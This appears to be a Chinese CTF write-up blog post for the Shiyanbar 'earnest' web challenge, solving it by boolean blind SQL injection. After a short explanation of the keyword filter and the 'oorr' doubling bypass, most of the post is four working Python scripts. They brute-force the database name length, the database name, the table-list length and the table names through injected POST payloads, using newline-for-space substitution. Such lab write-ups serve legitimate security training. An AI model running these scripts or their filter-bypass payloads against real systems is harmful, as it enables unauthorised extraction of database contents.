#实验吧整理#认真一点

wp

  • 随便输入一个1,回显You are in…,想到sqli-labs里面的一道类似盲注题
  • 用bq测试一下一些常见关键字,其中and,substr,union等都被过滤了
  • 其中or显示没有过滤,但仍然不能用,看大佬wp说是后台删了or,可以构造oorr
  • 爆数据库长度
	import  requests
	
	str1 = 'You are in'
	url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
	for i in range(1, 30):
	    key = {'id':"0'oorr(length(database())=%s)oorr'0"%i}
	    r = requests.post(url, data = key).text
	    print(i)
	    if str1 in r :
	        print('length is %s'%i)
	        break
  • 爆库
	import requests
	
	guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
	str1 = 'You are in'
	url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
	database = ''
	for i in range(1,19):
	    for j in guess:
	        key = {'id':"0'oorr((mid((database())from(%s)foorr(1)))='%s')oorr'0" %(i,j)}
	        r = requests.post(url, data=key).text
	        print(key)
	        if str1 in r:
	            database += j
	            print(j)
	            break

	print(database)
  • 爆表长
	import requests
	
	guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
	str1 = 'You are in'
	url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
	i = 1
	while True:
	    flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='')oorr'0"%i
	    flag = flag.replace(' ', chr(0x0a))
	    key = {'id':flag}       
	    r = requests.post(url, data=key).text
	    print(key)
	    if str1 in r:
	        print('the length of tables is %s'%i)
	        break
	    i += 1
  • 爆表
	import requests
	
	guess = '~abcdefghijklmnopqrstuvwxyz_0123456789'
	str1 = 'You are in'
	url = 'http://ctf5.shiyanbar.com/web/earnest/index.php'
	tables = ''
	for i in range(1,12):
	    for j in guess:        
	        flag = "0'oorr((select(mid(group_concat(table_name separatoorr '@')from(%s)foorr(1)))from(infoorrmation_schema.tables)where(table_schema)=database())='%s')oorr'0"%(i, j)    
	        flag = flag.replace(' ', chr(0x0a))
	        key = {'id':flag}       
	        r = requests.post(url, data=key).text
	        print(key)
	        if str1 in r:
	            tables += j
	            print(j)
	            break
	

	print(tables)
  • 参考:https://www.cnblogs.com/Ragd0ll/p/8684767.html
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值